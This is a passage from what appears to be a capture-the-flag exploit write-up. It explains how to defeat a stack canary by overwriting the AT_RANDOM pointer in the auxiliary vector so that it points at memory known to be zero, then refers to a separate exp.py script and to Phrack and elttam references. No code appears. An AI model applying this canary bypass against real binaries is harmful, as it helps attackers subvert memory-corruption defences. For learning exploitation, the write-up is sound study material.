uncompressed binary. And you don't need to worry about the address since it adjusted the address it self. 143 | 144 | ## auxv 145 | The auxv structure above is everything. The at_random address gdb tells you is found using that structure. So, you CANNOT just use the address of at_random `info auxv` to see if the at_random is modified. Actually, at_random's address is contained in that structure, it is like `p64(0x19) + p64(at_random_addr)`. To actually modify the at_random, the only thing you can do is to modify that address followed by the 0x19 number in the auxv. Changed it to point to some address which we already know the contents. (I used the address which is initiated to zero here) 146 | 147 | # exp.py 148 | see the exp.py in this directory 149 | 150 | # References 151 | 1. http://phrack.org/issues/58/5.html 152 | 2. https://www.elttam.com.au/blog/playing-with-canaries/ 153 | --------------------------------------------------------------------------------